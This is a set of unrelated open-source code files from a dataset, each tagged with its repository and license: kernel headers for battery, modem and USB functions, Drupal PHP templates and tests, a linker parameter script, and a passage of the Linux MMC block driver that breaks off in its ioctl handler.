#define MAX17050_VFSOC0 0x48
#define MAX17050_QH0 0x4C
#define MAX17050_QH 0x4D
#define MAX17050_VFSOC0_LOCK 0x60
#define MAX17050_MODEL_LOCK1 0x62
#define MAX17050_MODEL_LOCK2 0x63
#define MAX17050_V_FOCV 0xFB
#define MAX17050_SOC_VF 0xFF
#define MAX17050_MODEL_TABLE_80 0x80
#define MAX17050_MODEL_TABLE_90 0x90
#define MAX17050_MODEL_TABLE_A0 0xA0
#ifdef CONFIG_LGE_PM
int max17050_get_battery_capacity_percent(void);
int max17050_get_battery_mvolts(void);
int max17050_suspend_get_mvolts(void);
int max17050_read_battery_age(void);
int max17050_get_battery_age(void);
int max17050_get_battery_condition(void);
int max17050_get_battery_current(void);
int max17050_get_soc_for_charging_complete_at_cmd(void);
int max17050_get_full_design(void);
int max17050_write_battery_temp(void);
int max17050_write_temp(void);
bool max17050_battery_full_info_print(void);
void max17050_initial_quickstart_check(void);
bool max17050_recharging(void);
bool max17050_i2c_write_and_verify(u8 addr, u16 value);
#endif
#endif
| KAsp3rd/android_kernel_lge_msm8992 | include/linux/power/max17050_battery.h | C | gpl-2.0 | 4,683 |
<?php
if (strtolower(trim($type)) == 'icon') {
$place_holder = '<i class="' . $icon . '"></i>';
}
if (strtolower(trim($type)) == 'img') {
$place_holder = '<img alt="" src="' . $image . '">';
}
if($link!=""){
$place_holder ="<a href=".$link.">".$place_holder."</a>";
}
?>
<div class="text-center <?php print $classes; ?>">
<div class="icn-main-container">
<div data-animate="fadeInUp" class="icn-container in dexp-animate fadeInUp">
<div class="serviceicon"><?php print $place_holder; ?></div>
</div>
</div>
<div class="title"><h3><?php print $title; ?></h3></div>
<p><?php print $content; ?></p>
</div> | aklepner/bambam | sites/all/themes/richer/templates/shortcode/shortcode--box--custom.tpl.php | PHP | gpl-2.0 | 706 |
/****************************************************************************
*
* Copyright (c) 2007-2008 Broadcom Corporation
*
* Unless you and Broadcom execute a separate written software license
* agreement governing use of this software, this software is licensed to you
* under the terms of the GNU General Public License version 2, available
* at http://www.gnu.org/licenses/old-licenses/gpl-2.0.html (the "GPL").
*
* Notwithstanding the above, under no circumstances may you combine this
* software in any way with any other Broadcom software provided under a license
* other than the GPL, without Broadcom's express prior written consent.
*
****************************************************************************/
/**
*
* @file lcs_ftt_api.h
*
* @brief This header provides the interface description for the fine timer transfer API.
*
****************************************************************************/
#ifndef LCS_FTT_API_H__
#define LCS_FTT_API_H__ ///< Include guard.
// ---- Include Files -------------------------------------------------------
//The following header files should be included before include lcs_ftt_api.h
// "mobcom_types.h"
// "resultcode.h"
///Fine Time Transfer parameters
typedef struct
{
UInt32 S_fn; ///< Frame number
UInt16 U_arfcn; ///< UARFCN or BCCH carrier
UInt16 psc_bsic; ///< Primary Scrambling Code in 3G or Base Station Identification Code in 2G
UInt8 ta; ///< Timing advance
UInt8 slot; ///< Time slot
UInt16 bits; ///< Bit number
} LcsFttParams_t;
///Payload for MSG_LCS_FTT_SYNC_RESULT_IND
typedef struct
{
ClientInfo_t mClientInfo; ///< The client info provided when LCS_FttSyncReq() is incoked
LcsFttParams_t mLcsFttParam; ///< The result Fine Time Transfer parameters
} LcsFttResult_t;
//*******************************************************************************
/**
* Start a FTT synchronization request
* The client will receive MSG_LCS_FTT_SYNC_RESULT_IND with LcsFttResult_t payload.
*
* @param inClientInfoPtr (in) The client info including client ID returned by SYS_RegisterForMSEvent()
* and the reference ID provided by the caller.
*
*******************************************************************************/
Result_t LCS_FttSyncReq(ClientInfo_t* inClientInfoPtr);
//*******************************************************************************
/**
* Calculate the time difference in micro second between the provided two FTT parameters.
*
* @param inT1 (in) The first FTT parameter.
* @param inT2 (in) The second FTT parameter.
*
* @return The time difference in micro second between the provided two FTT parameters.
*
*******************************************************************************/
UInt32 LCS_FttCalcDeltaTime( const LcsFttParams_t * inT1, const LcsFttParams_t* inT2);
//*******************************************************************************
/**
*
* Reports if the AFC algorithm in the L1 code is locked to
* a base station now, and over the recent history.
* The lock statistics are cleared when this is called.
* Statistics are kept of loss of lock, etc. until the next
* call to L1_bb_isLocked().
*
* @return
* TRUE if the baseband radio is locked to the base station.
* FALSE otherwise.
*
* @note
* Can be called twice in a row to get the current status:
* LCS_L1_bb_isLocked(); // Might return FALSE if we just got locked
* // since the previous time we called.
* LCS_L1_bb_isLocked(); // Will return the current lock status
*
********************************************************************************/
Boolean LCS_L1_bb_isLocked( Boolean inStartend );
#endif // LCS_FTT_API_H__
| mohammad92/GT-S5360_Kernel_GB_Opensource_Update4 | modules/drivers/char/brcm/fuse_ril/CAPI2_CIB/modem/public/lcs_ftt_api.h | C | gpl-2.0 | 3,741 |
/*
* Copyright (C) 2010 HTC, Inc.
*
* This software is licensed under the terms of the GNU General Public
* License version 2, as published by the Free Software Foundation, and
* may be copied, distributed, and modified under those terms.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
*/
#ifndef __ASM_ARCH_MSM_HTC_USB_H
#define __ASM_ARCH_MSM_HTC_USB_H
#ifdef CONFIG_ARCH_QSD8X50
void msm_hsusb_8x50_phy_reset(void);
#endif
#ifdef CONFIG_USB_ANDROID
#ifdef ERROR
#undef ERROR
#endif
#include <linux/usb/android_composite.h>
#ifdef CONFIG_USB_ANDROID_ACCESSORY
#include <linux/usb/f_accessory.h>
#endif
static char *usb_functions_ums[] = {
"usb_mass_storage",
};
static char *usb_functions_adb[] = {
"usb_mass_storage",
"adb",
};
#ifdef CONFIG_USB_ANDROID_ECM
static char *usb_functions_ecm[] = {
"cdc_ethernet",
};
#endif
#ifdef CONFIG_USB_ANDROID_RNDIS
static char *usb_functions_rndis[] = {
"rndis",
};
static char *usb_functions_rndis_adb[] = {
"rndis",
"adb",
};
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
static char *usb_functions_rndis_diag[] = {
"rndis",
"diag",
};
static char *usb_functions_rndis_adb_diag[] = {
"rndis",
"adb",
"diag",
};
#endif
#endif
#ifdef CONFIG_USB_ANDROID_ACCESSORY
static char *usb_functions_accessory[] = { "accessory" };
static char *usb_functions_accessory_adb[] = { "accessory", "adb" };
#endif
#ifdef CONFIG_USB_ANDROID_PROJECTOR
static char *usb_functions_projector[] = {
"usb_mass_storage",
"projector",
};
static char *usb_functions_adb_projector[] = {
"usb_mass_storage",
"adb",
"projector",
};
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
static char *usb_function_adb_diag_projector[] = {
"usb_mass_storage",
"adb",
"diag",
"projector",
};
#ifdef CONFIG_USB_ANDROID_SERIAL
static char *usb_function_adb_diag_modem_projector[] = {
"usb_mass_storage",
"adb",
"diag",
"modem",
"projector",
};
#endif
#endif
#endif
#ifdef CONFIG_USB_ANDROID_MTP
static char *usb_functions_mtp[] = {
"mtp",
};
static char *usb_functions_mtp_adb[] = {
"mtp",
"adb",
};
#endif
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
static char *usb_functions_diag[] = {
"usb_mass_storage",
"diag",
};
static char *usb_functions_adb_diag[] = {
"usb_mass_storage",
"adb",
"diag",
};
#endif
#ifdef CONFIG_USB_ANDROID_SERIAL
static char *usb_functions_modem[] = {
"usb_mass_storage",
"modem",
};
static char *usb_functions_adb_modem[] = {
"usb_mass_storage",
"adb",
"modem",
};
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
static char *usb_functions_diag_modem[] = {
"usb_mass_storage",
"diag",
"modem",
};
static char *usb_functions_adb_diag_modem[] = {
"usb_mass_storage",
"adb",
"diag",
"modem",
};
static char *usb_functions_adb_diag_serial[] = {
"usb_mass_storage",
"adb",
"diag",
"serial",
};
static char *usb_functions_diag_serial[] = {
"usb_mass_storage",
"diag",
"serial",
};
static char *usb_functions_adb_diag_serial_modem[] = {
"usb_mass_storage",
"adb",
"diag",
"modem",
"serial",
};
static char *usb_functions_diag_serial_modem[] = {
"usb_mass_storage",
"diag",
"modem",
"serial",
};
#endif
#endif
#ifdef CONFIG_USB_ANDROID_ACM
static char *usb_functions_adb_acm[] = {
"usb_mass_storage",
"adb",
"acm",
};
static char *usb_functions_acm[] = {
"acm",
};
#endif
static char *usb_functions_all[] = {
#ifdef CONFIG_USB_ANDROID_RNDIS
"rndis",
#endif
#ifdef CONFIG_USB_ANDROID_ACCESSORY
"accessory",
#endif
#ifdef CONFIG_USB_ANDROID_MTP
"mtp",
#endif
"usb_mass_storage",
"adb",
#ifdef CONFIG_USB_ANDROID_ECM
"cdc_ethernet",
#endif
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
"diag",
#endif
#ifdef CONFIG_USB_ANDROID_SERIAL
"serial",
#endif
#ifdef CONFIG_USB_ANDROID_PROJECTOR
"projector",
#endif
#ifdef CONFIG_USB_ANDROID_ACM
"acm",
#endif
};
static struct android_usb_product usb_products[] = {
{
.product_id = 0x0c02, /* vary by board */
.num_functions = ARRAY_SIZE(usb_functions_adb),
.functions = usb_functions_adb,
},
{
.product_id = 0x0ff9,
.num_functions = ARRAY_SIZE(usb_functions_ums),
.functions = usb_functions_ums,
},
#ifdef CONFIG_USB_ANDROID_ACM
{
.product_id = 0x0ff4,
.num_functions = ARRAY_SIZE(usb_functions_acm),
.functions = usb_functions_acm,
},
{
.product_id = 0x0ff5,
.num_functions = ARRAY_SIZE(usb_functions_adb_acm),
.functions = usb_functions_adb_acm,
},
#endif
#ifdef CONFIG_USB_ANDROID_ECM
{
.product_id = 0x0ff8,
.num_functions = ARRAY_SIZE(usb_functions_ecm),
.functions = usb_functions_ecm,
},
#endif
#ifdef CONFIG_USB_ANDROID_SERIAL
{
.product_id = 0x0c03,
.num_functions = ARRAY_SIZE(usb_functions_modem),
.functions = usb_functions_modem,
},
{
.product_id = 0x0c04,
.num_functions = ARRAY_SIZE(usb_functions_adb_modem),
.functions = usb_functions_adb_modem,
},
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
{
.product_id = 0x0c88,
.num_functions = ARRAY_SIZE(usb_functions_adb_diag_modem),
.functions = usb_functions_adb_diag_modem,
},
{
.product_id = 0x0c89,
.num_functions = ARRAY_SIZE(usb_functions_diag_serial),
.functions = usb_functions_diag_serial,
},
{
.product_id = 0x0c8a,
.num_functions = ARRAY_SIZE(usb_functions_adb_diag_serial),
.functions = usb_functions_adb_diag_serial,
},
{
.product_id = 0x0fe9,
.num_functions = ARRAY_SIZE(usb_functions_diag_serial_modem),
.functions = usb_functions_diag_serial_modem,
},
{
.product_id = 0x0fe8,
.num_functions = ARRAY_SIZE(usb_functions_adb_diag_serial_modem),
.functions = usb_functions_adb_diag_serial_modem,
},
{
.product_id = 0x0ffb,
.num_functions = ARRAY_SIZE(usb_functions_diag_modem),
.functions = usb_functions_diag_modem,
},
#endif
#endif
#ifdef CONFIG_USB_ANDROID_PROJECTOR
{
.product_id = 0x0c05,
.num_functions = ARRAY_SIZE(usb_functions_projector),
.functions = usb_functions_projector,
},
{
.product_id = 0x0c06,
.num_functions = ARRAY_SIZE(usb_functions_adb_projector),
.functions = usb_functions_adb_projector,
},
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
{
.product_id = 0x0FF1,
.num_functions = ARRAY_SIZE(usb_function_adb_diag_projector),
.functions = usb_function_adb_diag_projector,
},
#ifdef CONFIG_USB_ANDROID_SERIAL
{
.product_id = 0x0FF2,
.num_functions = ARRAY_SIZE(usb_function_adb_diag_modem_projector),
.functions = usb_function_adb_diag_modem_projector,
},
#endif
#endif
#endif
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
{
.product_id = 0x0c07,
.num_functions = ARRAY_SIZE(usb_functions_adb_diag),
.functions = usb_functions_adb_diag,
},
{
.product_id = 0x0c08,
.num_functions = ARRAY_SIZE(usb_functions_diag),
.functions = usb_functions_diag,
},
#endif
#ifdef CONFIG_USB_ANDROID_MTP
{
.product_id = 0x0ca8,
.num_functions = ARRAY_SIZE(usb_functions_mtp_adb),
.functions = usb_functions_mtp_adb,
},
{
.product_id = 0x0c93,
.num_functions = ARRAY_SIZE(usb_functions_mtp),
.functions = usb_functions_mtp,
},
#endif
#ifdef CONFIG_USB_ANDROID_RNDIS
{
.product_id = 0x0ffe,
.num_functions = ARRAY_SIZE(usb_functions_rndis),
.functions = usb_functions_rndis,
},
{
.product_id = 0x0ffc,
.num_functions = ARRAY_SIZE(usb_functions_rndis_adb),
.functions = usb_functions_rndis_adb,
},
#if defined(CONFIG_USB_ANDROID_DIAG) || defined(CONFIG_USB_ANDROID_QCT_DIAG)
{
.product_id = 0x0ff6,
.num_functions = ARRAY_SIZE(usb_functions_rndis_adb_diag),
.functions = usb_functions_rndis_adb_diag,
},
{
.product_id = 0x0ff7,
.num_functions = ARRAY_SIZE(usb_functions_rndis_diag),
.functions = usb_functions_rndis_diag,
},
#endif
#endif
#ifdef CONFIG_USB_ANDROID_ACCESSORY
{
.vendor_id = USB_ACCESSORY_VENDOR_ID,
.product_id = USB_ACCESSORY_PRODUCT_ID,
.num_functions = ARRAY_SIZE(usb_functions_accessory),
.functions = usb_functions_accessory,
},
{
.vendor_id = USB_ACCESSORY_VENDOR_ID,
.product_id = USB_ACCESSORY_ADB_PRODUCT_ID,
.num_functions = ARRAY_SIZE(usb_functions_accessory_adb),
.functions = usb_functions_accessory_adb,
},
#endif
};
#endif /* CONFIG_USB_ANDROID */
#endif
| mstfkaratas/kernel_htc_msm7227 | arch/arm/mach-msm/include/mach/htc_usb.h | C | gpl-2.0 | 8,486 |
MACHINE=
SCRIPT_NAME=elfm68hc11
OUTPUT_FORMAT="elf32-m68hc11"
ROM_START_ADDR=0x08000
ROM_SIZE=0x8000
RAM_START_ADDR=0x01100
RAM_SIZE=0x6F00
EEPROM_START_ADDR=0xb600
EEPROM_SIZE=512
TEXT_MEMORY=text
DATA_MEMORY=data
EEPROM_MEMORY=eeprom
ARCH=m68hc11
MAXPAGESIZE=32
EMBEDDED=yes
GENERIC_BOARD=no
TEMPLATE_NAME=elf
EXTRA_EM_FILE=m68hc1xelf
| mattstock/binutils-bexkat1 | ld/emulparams/m68hc11elf.sh | Shell | gpl-2.0 | 337 |
<?php
/**
* @file
* Definition of Drupal\shortcut\Tests\ShortcutTestBase.
*/
namespace Drupal\shortcut\Tests;
use Drupal\shortcut\Entity\Shortcut;
use Drupal\shortcut\Entity\ShortcutSet;
use Drupal\shortcut\ShortcutSetInterface;
use Drupal\simpletest\WebTestBase;
/**
* Defines base class for shortcut test cases.
*/
abstract class ShortcutTestBase extends WebTestBase {
/**
* Modules to enable.
*
* @var array
*/
public static $modules = array('node', 'toolbar', 'shortcut');
/**
* User with permission to administer shortcuts.
*
* @var \Drupal\user\UserInterface
*/
protected $adminUser;
/**
* User with permission to use shortcuts, but not administer them.
*
* @var \Drupal\user\UserInterface
*/
protected $shortcutUser;
/**
* Generic node used for testing.
*
* @var \Drupal\node\NodeInterface
*/
protected $node;
/**
* Site-wide default shortcut set.
*
* @var \Drupal\shortcut\ShortcutSetInterface
*/
protected $set;
protected function setUp() {
parent::setUp();
if ($this->profile != 'standard') {
// Create Basic page and Article node types.
$this->drupalCreateContentType(array('type' => 'page', 'name' => 'Basic page'));
$this->drupalCreateContentType(array('type' => 'article', 'name' => 'Article'));
// Populate the default shortcut set.
$shortcut = Shortcut::create(array(
'set' => 'default',
'title' => t('Add content'),
'weight' => -20,
'path' => 'node/add',
));
$shortcut->save();
$shortcut = Shortcut::create(array(
'set' => 'default',
'title' => t('All content'),
'weight' => -19,
'path' => 'admin/content',
));
$shortcut->save();
}
// Create users.
$this->adminUser = $this->drupalCreateUser(array('access toolbar', 'administer shortcuts', 'view the administration theme', 'create article content', 'create page content', 'access content overview', 'administer users', 'link to any page'));
$this->shortcutUser = $this->drupalCreateUser(array('customize shortcut links', 'switch shortcut sets', 'access shortcuts', 'access content'));
// Create a node.
$this->node = $this->drupalCreateNode(array('type' => 'article'));
// Log in as admin and grab the default shortcut set.
$this->drupalLogin($this->adminUser);
$this->set = ShortcutSet::load('default');
shortcut_set_assign_user($this->set, $this->adminUser);
}
/**
* Creates a generic shortcut set.
*/
function generateShortcutSet($label = '', $id = NULL) {
$set = ShortcutSet::create(array(
'id' => isset($id) ? $id : strtolower($this->randomMachineName()),
'label' => empty($label) ? $this->randomString() : $label,
));
$set->save();
return $set;
}
/**
* Extracts information from shortcut set links.
*
* @param \Drupal\shortcut\ShortcutSetInterface $set
* The shortcut set object to extract information from.
* @param string $key
* The array key indicating what information to extract from each link:
* - 'title': Extract shortcut titles.
* - 'path': Extract shortcut paths.
* - 'id': Extract the shortcut ID.
*
* @return array
* Array of the requested information from each link.
*/
function getShortcutInformation(ShortcutSetInterface $set, $key) {
$info = array();
\Drupal::entityManager()->getStorage('shortcut')->resetCache();
foreach ($set->getShortcuts() as $shortcut) {
$info[] = $shortcut->{$key}->value;
}
return $info;
}
}
| webflo/d8-core | modules/shortcut/src/Tests/ShortcutTestBase.php | PHP | gpl-2.0 | 3,612 |
/*
* Block driver for media (i.e., flash cards)
*
* Copyright 2002 Hewlett-Packard Company
* Copyright 2005-2008 Pierre Ossman
*
* Use consistent with the GNU GPL is permitted,
* provided that this copyright notice is
* preserved in its entirety in all copies and derived works.
*
* HEWLETT-PACKARD COMPANY MAKES NO WARRANTIES, EXPRESSED OR IMPLIED,
* AS TO THE USEFULNESS OR CORRECTNESS OF THIS CODE OR ITS
* FITNESS FOR ANY PARTICULAR PURPOSE.
*
* Many thanks to Alessandro Rubini and Jonathan Corbet!
*
* Author: Andrew Christian
* 28 May 2002
*/
#include <linux/moduleparam.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/errno.h>
#include <linux/hdreg.h>
#include <linux/kdev_t.h>
#include <linux/blkdev.h>
#include <linux/mutex.h>
#include <linux/scatterlist.h>
#include <linux/string_helpers.h>
#include <linux/delay.h>
#include <linux/capability.h>
#include <linux/compat.h>
#include <linux/mmc/ioctl.h>
#include <linux/mmc/card.h>
#include <linux/mmc/host.h>
#include <linux/mmc/mmc.h>
#include <linux/mmc/sd.h>
#include <asm/uaccess.h>
#include "queue.h"
MODULE_ALIAS("mmc:block");
#ifdef MODULE_PARAM_PREFIX
#undef MODULE_PARAM_PREFIX
#endif
#define MODULE_PARAM_PREFIX "mmcblk."
#define INAND_CMD38_ARG_EXT_CSD 113
#define INAND_CMD38_ARG_ERASE 0x00
#define INAND_CMD38_ARG_TRIM 0x01
#define INAND_CMD38_ARG_SECERASE 0x80
#define INAND_CMD38_ARG_SECTRIM1 0x81
#define INAND_CMD38_ARG_SECTRIM2 0x88
#define MMC_BLK_TIMEOUT_MS (10 * 60 * 1000) /* 10 minute timeout */
#define mmc_req_rel_wr(req) (((req->cmd_flags & REQ_FUA) || \
(req->cmd_flags & REQ_META)) && \
(rq_data_dir(req) == WRITE))
#define PACKED_CMD_VER 0x01
#define PACKED_CMD_WR 0x02
static DEFINE_MUTEX(block_mutex);
/*
* The defaults come from config options but can be overriden by module
* or bootarg options.
*/
static int perdev_minors = CONFIG_MMC_BLOCK_MINORS;
/*
* We've only got one major, so number of mmcblk devices is
* limited to 256 / number of minors per device.
*/
static int max_devices;
/* 256 minors, so at most 256 separate devices */
static DECLARE_BITMAP(dev_use, 256);
static DECLARE_BITMAP(name_use, 256);
/*
* There is one mmc_blk_data per slot.
*/
struct mmc_blk_data {
spinlock_t lock;
struct gendisk *disk;
struct mmc_queue queue;
struct list_head part;
unsigned int flags;
#define MMC_BLK_CMD23 (1 << 0) /* Can do SET_BLOCK_COUNT for multiblock */
#define MMC_BLK_REL_WR (1 << 1) /* MMC Reliable write support */
#define MMC_BLK_PACKED_CMD (1 << 2) /* MMC packed command support */
unsigned int usage;
unsigned int read_only;
unsigned int part_type;
unsigned int name_idx;
unsigned int reset_done;
#define MMC_BLK_READ BIT(0)
#define MMC_BLK_WRITE BIT(1)
#define MMC_BLK_DISCARD BIT(2)
#define MMC_BLK_SECDISCARD BIT(3)
/*
* Only set in main mmc_blk_data associated
* with mmc_card with mmc_set_drvdata, and keeps
* track of the current selected device partition.
*/
unsigned int part_curr;
struct device_attribute force_ro;
struct device_attribute power_ro_lock;
int area_type;
};
static DEFINE_MUTEX(open_lock);
enum {
MMC_PACKED_NR_IDX = -1,
MMC_PACKED_NR_ZERO,
MMC_PACKED_NR_SINGLE,
};
module_param(perdev_minors, int, 0444);
MODULE_PARM_DESC(perdev_minors, "Minors numbers to allocate per device");
static inline int mmc_blk_part_switch(struct mmc_card *card,
struct mmc_blk_data *md);
static int get_card_status(struct mmc_card *card, u32 *status, int retries);
static inline void mmc_blk_clear_packed(struct mmc_queue_req *mqrq)
{
struct mmc_packed *packed = mqrq->packed;
BUG_ON(!packed);
mqrq->cmd_type = MMC_PACKED_NONE;
packed->nr_entries = MMC_PACKED_NR_ZERO;
packed->idx_failure = MMC_PACKED_NR_IDX;
packed->retries = 0;
packed->blocks = 0;
}
static struct mmc_blk_data *mmc_blk_get(struct gendisk *disk)
{
struct mmc_blk_data *md;
mutex_lock(&open_lock);
md = disk->private_data;
if (md && md->usage == 0)
md = NULL;
if (md)
md->usage++;
mutex_unlock(&open_lock);
return md;
}
static inline int mmc_get_devidx(struct gendisk *disk)
{
int devmaj = MAJOR(disk_devt(disk));
int devidx = MINOR(disk_devt(disk)) / perdev_minors;
if (!devmaj)
devidx = disk->first_minor / perdev_minors;
return devidx;
}
static void mmc_blk_put(struct mmc_blk_data *md)
{
mutex_lock(&open_lock);
md->usage--;
if (md->usage == 0) {
int devidx = mmc_get_devidx(md->disk);
blk_cleanup_queue(md->queue.queue);
__clear_bit(devidx, dev_use);
put_disk(md->disk);
kfree(md);
}
mutex_unlock(&open_lock);
}
static ssize_t power_ro_lock_show(struct device *dev,
struct device_attribute *attr, char *buf)
{
int ret;
struct mmc_blk_data *md = mmc_blk_get(dev_to_disk(dev));
struct mmc_card *card = md->queue.card;
int locked = 0;
if (card->ext_csd.boot_ro_lock & EXT_CSD_BOOT_WP_B_PERM_WP_EN)
locked = 2;
else if (card->ext_csd.boot_ro_lock & EXT_CSD_BOOT_WP_B_PWR_WP_EN)
locked = 1;
ret = snprintf(buf, PAGE_SIZE, "%d\n", locked);
return ret;
}
static ssize_t power_ro_lock_store(struct device *dev,
struct device_attribute *attr, const char *buf, size_t count)
{
int ret;
struct mmc_blk_data *md, *part_md;
struct mmc_card *card;
unsigned long set;
if (kstrtoul(buf, 0, &set))
return -EINVAL;
if (set != 1)
return count;
md = mmc_blk_get(dev_to_disk(dev));
card = md->queue.card;
mmc_claim_host(card->host);
ret = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL, EXT_CSD_BOOT_WP,
card->ext_csd.boot_ro_lock |
EXT_CSD_BOOT_WP_B_PWR_WP_EN,
card->ext_csd.part_time);
if (ret)
pr_err("%s: Locking boot partition ro until next power on failed: %d\n", md->disk->disk_name, ret);
else
card->ext_csd.boot_ro_lock |= EXT_CSD_BOOT_WP_B_PWR_WP_EN;
mmc_release_host(card->host);
if (!ret) {
pr_info("%s: Locking boot partition ro until next power on\n",
md->disk->disk_name);
set_disk_ro(md->disk, 1);
list_for_each_entry(part_md, &md->part, part)
if (part_md->area_type == MMC_BLK_DATA_AREA_BOOT) {
pr_info("%s: Locking boot partition ro until next power on\n", part_md->disk->disk_name);
set_disk_ro(part_md->disk, 1);
}
}
mmc_blk_put(md);
return count;
}
static ssize_t force_ro_show(struct device *dev, struct device_attribute *attr,
char *buf)
{
int ret;
struct mmc_blk_data *md = mmc_blk_get(dev_to_disk(dev));
ret = snprintf(buf, PAGE_SIZE, "%d",
get_disk_ro(dev_to_disk(dev)) ^
md->read_only);
mmc_blk_put(md);
return ret;
}
static ssize_t force_ro_store(struct device *dev, struct device_attribute *attr,
const char *buf, size_t count)
{
int ret;
char *end;
struct mmc_blk_data *md = mmc_blk_get(dev_to_disk(dev));
unsigned long set = simple_strtoul(buf, &end, 0);
if (end == buf) {
ret = -EINVAL;
goto out;
}
set_disk_ro(dev_to_disk(dev), set || md->read_only);
ret = count;
out:
mmc_blk_put(md);
return ret;
}
static int mmc_blk_open(struct block_device *bdev, fmode_t mode)
{
struct mmc_blk_data *md = mmc_blk_get(bdev->bd_disk);
int ret = -ENXIO;
mutex_lock(&block_mutex);
if (md) {
if (md->usage == 2)
check_disk_change(bdev);
ret = 0;
if ((mode & FMODE_WRITE) && md->read_only) {
mmc_blk_put(md);
ret = -EROFS;
}
}
mutex_unlock(&block_mutex);
return ret;
}
static void mmc_blk_release(struct gendisk *disk, fmode_t mode)
{
struct mmc_blk_data *md = disk->private_data;
mutex_lock(&block_mutex);
mmc_blk_put(md);
mutex_unlock(&block_mutex);
}
static int
mmc_blk_getgeo(struct block_device *bdev, struct hd_geometry *geo)
{
geo->cylinders = get_capacity(bdev->bd_disk) / (4 * 16);
geo->heads = 4;
geo->sectors = 16;
return 0;
}
struct mmc_blk_ioc_data {
struct mmc_ioc_cmd ic;
unsigned char *buf;
u64 buf_bytes;
};
static struct mmc_blk_ioc_data *mmc_blk_ioctl_copy_from_user(
struct mmc_ioc_cmd __user *user)
{
struct mmc_blk_ioc_data *idata;
int err;
idata = kzalloc(sizeof(*idata), GFP_KERNEL);
if (!idata) {
err = -ENOMEM;
goto out;
}
if (copy_from_user(&idata->ic, user, sizeof(idata->ic))) {
err = -EFAULT;
goto idata_err;
}
idata->buf_bytes = (u64) idata->ic.blksz * idata->ic.blocks;
if (idata->buf_bytes > MMC_IOC_MAX_BYTES) {
err = -EOVERFLOW;
goto idata_err;
}
if (!idata->buf_bytes)
return idata;
idata->buf = kzalloc(idata->buf_bytes, GFP_KERNEL);
if (!idata->buf) {
err = -ENOMEM;
goto idata_err;
}
if (copy_from_user(idata->buf, (void __user *)(unsigned long)
idata->ic.data_ptr, idata->buf_bytes)) {
err = -EFAULT;
goto copy_err;
}
return idata;
copy_err:
kfree(idata->buf);
idata_err:
kfree(idata);
out:
return ERR_PTR(err);
}
static int ioctl_rpmb_card_status_poll(struct mmc_card *card, u32 *status,
u32 retries_max)
{
int err;
u32 retry_count = 0;
if (!status || !retries_max)
return -EINVAL;
do {
err = get_card_status(card, status, 5);
if (err)
break;
if (!R1_STATUS(*status) &&
(R1_CURRENT_STATE(*status) != R1_STATE_PRG))
break; /* RPMB programming operation complete */
/*
* Rechedule to give the MMC device a chance to continue
* processing the previous command without being polled too
* frequently.
*/
usleep_range(1000, 5000);
} while (++retry_count < retries_max);
if (retry_count == retries_max)
err = -EPERM;
return err;
}
static int mmc_blk_ioctl_cmd(struct block_device *bdev,
struct mmc_ioc_cmd __user *ic_ptr)
{
struct mmc_blk_ioc_data *idata;
struct mmc_blk_data *md;
struct mmc_card *card;
struct mmc_command cmd = {0};
struct mmc_data data = {0};
struct mmc_request mrq = {NULL};
struct scatterlist sg;
int err;
int is_rpmb = false;
u32 status = 0;
/*
* The caller must have CAP_SYS_RAWIO, and must be calling this on the
* whole block device, not on a partition. This prevents overspray
* between sibling partitions.
*/
if ((!capable(CAP_SYS_RAWIO)) || (bdev != bdev->bd_contains))
return -EPERM;
idata = mmc_blk_ioctl_copy_from_user(ic_ptr);
if (IS_ERR(idata))
return PTR_ERR(idata);
md = mmc_blk_get(bdev->bd_disk);
if (!md) {
err = -EINVAL;
goto cmd_err;
}
if (md->area_type & MMC_BLK_DATA_AREA_RPMB)
is_rpmb = true;
card = md->queue.card;
if (IS_ERR(card)) {
err = PTR_ERR(card);
goto cmd_done;
}
cmd.opcode = idata->ic.opcode;
cmd.arg = idata->ic.arg;
cmd.flags = idata->ic.flags;
if (idata->buf_bytes) {
data.sg = &sg;
data.sg_len = 1;
data.blksz = idata->ic.blksz;
data.blocks = idata->ic.blocks;
sg_init_one(data.sg, idata->buf, idata->buf_bytes);
if (idata->ic.write_flag)
data.flags = MMC_DATA_WRITE;
else
data.flags = MMC_DATA_READ;
/* data.flags must already be set before doing this. */
mmc_set_data_timeout(&data, card);
/* Allow overriding the timeout_ns for empirical tuning. */
if (idata->ic.data_timeout_ns)
data.timeout_ns = idata->ic.data_timeout_ns;
if ((cmd.flags & MMC_RSP_R1B) == MMC_RSP_R1B) {
/*
* Pretend this is a data transfer and rely on the
* host driver to compute timeout. When all host
* drivers support cmd.cmd_timeout for R1B, this
* can be changed to:
*
* mrq.data = NULL;
* cmd.cmd_timeout = idata->ic.cmd_timeout_ms;
*/
data.timeout_ns = idata->ic.cmd_timeout_ms * 1000000;
}
mrq.data = &data;
}
mrq.cmd = &cmd;
mmc_claim_host(card->host);
err = mmc_blk_part_switch(card, md);
if (err)
goto cmd_rel_host;
if (idata->ic.is_acmd) {
err = mmc_app_cmd(card->host, card);
if (err)
goto cmd_rel_host;
}
if (is_rpmb) {
err = mmc_set_blockcount(card, data.blocks,
idata->ic.write_flag & (1 << 31));
if (err)
goto cmd_rel_host;
}
mmc_wait_for_req(card->host, &mrq);
if (cmd.error) {
dev_err(mmc_dev(card->host), "%s: cmd error %d\n",
__func__, cmd.error);
err = cmd.error;
goto cmd_rel_host;
}
if (data.error) {
dev_err(mmc_dev(card->host), "%s: data error %d\n",
__func__, data.error);
err = data.error;
goto cmd_rel_host;
}
/*
* According to the SD specs, some commands require a delay after
* issuing the command.
*/
